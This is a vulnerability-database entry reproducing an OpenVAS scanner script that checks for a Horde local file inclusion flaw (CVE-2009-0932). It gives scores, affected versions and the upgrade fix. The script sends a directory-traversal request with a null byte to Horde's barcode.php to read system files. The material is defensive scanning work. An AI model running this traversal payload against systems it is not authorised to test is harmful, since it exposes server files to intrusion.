Lucene search

K
openvasCopyright (C) 2011 Greenbone AGOPENVAS:1361412562310801849
HistoryFeb 17, 2011 - 12:00 a.m.

Horde Products Local File Inclusion Vulnerability

2011-02-1700:00:00
Copyright (C) 2011 Greenbone AG
plugins.openvas.org
32

6.4 Medium

CVSS2

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:L/Au:N/C:P/I:P/A:N

7.5 High

AI Score

Confidence

High

0.04 Low

EPSS

Percentile

92.2%

Horde is prone to local file inclusion vulnerability.

# SPDX-FileCopyrightText: 2011 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = 'cpe:/a:horde:horde_groupware';

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.801849");
  script_version("2023-07-28T05:05:23+0000");
  script_tag(name:"last_modification", value:"2023-07-28 05:05:23 +0000 (Fri, 28 Jul 2023)");
  script_tag(name:"creation_date", value:"2011-02-17 16:08:28 +0100 (Thu, 17 Feb 2011)");
  script_cve_id("CVE-2009-0932");
  script_tag(name:"cvss_base", value:"6.4");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:N");

  script_tag(name:"solution_type", value:"VendorFix");

  script_name("Horde Products Local File Inclusion Vulnerability");

  script_xref(name:"URL", value:"http://secunia.com/advisories/33695");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/33491");
  script_xref(name:"URL", value:"http://packetstormsecurity.org/files/view/98424/horde-lfi.txt");

  script_tag(name:"qod_type", value:"remote_vul");
  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2011 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("horde_detect.nasl", "os_detection.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("horde/installed");

  script_tag(name:"impact", value:"Successful exploitation will allow remote attackers to include and execute
  arbitrary local files via directory traversal sequences in the Horde_Image driver name.");

  script_tag(name:"affected", value:"Horde versions before 3.2.4 and 3.3.3, Horde Groupware versions before
  1.1.5");

  script_tag(name:"insight", value:"The flaw is caused by improper validation of user-supplied input to the
  'driver' argument of the 'Horde_Image::factory' method before using it to include PHP code in
  'lib/Horde/Image.php'.");

  script_tag(name:"solution", value:"Upgrade to Horde 3.2.4 or 3.3.3 and Horde Groupware 1.1.5.");

  script_tag(name:"summary", value:"Horde is prone to local file inclusion vulnerability.");

  exit(0);
}

include("host_details.inc");
include("os_func.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("misc_func.inc");

if (!port = get_app_port(cpe: CPE))
  exit(0);

if (!dir = get_app_location(cpe: CPE, port: port))
  exit(0);

if (dir == "/")
  dir = "";

files = traversal_files();

foreach pattern (keys(files)) {

  file = files[pattern];
  url = dir + "/util/barcode.php?type=../../../../../../../../../../../" + file + "%00";

  if (http_vuln_check(port:port, url:url, pattern:pattern, check_header: TRUE)) {
    report = http_report_vuln_url(port: port, url: url);
    security_message(port: port, data: report);
    exit(0);
  }
}

exit(99);

6.4 Medium

CVSS2

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:L/Au:N/C:P/I:P/A:N

7.5 High

AI Score

Confidence

High

0.04 Low

EPSS

Percentile

92.2%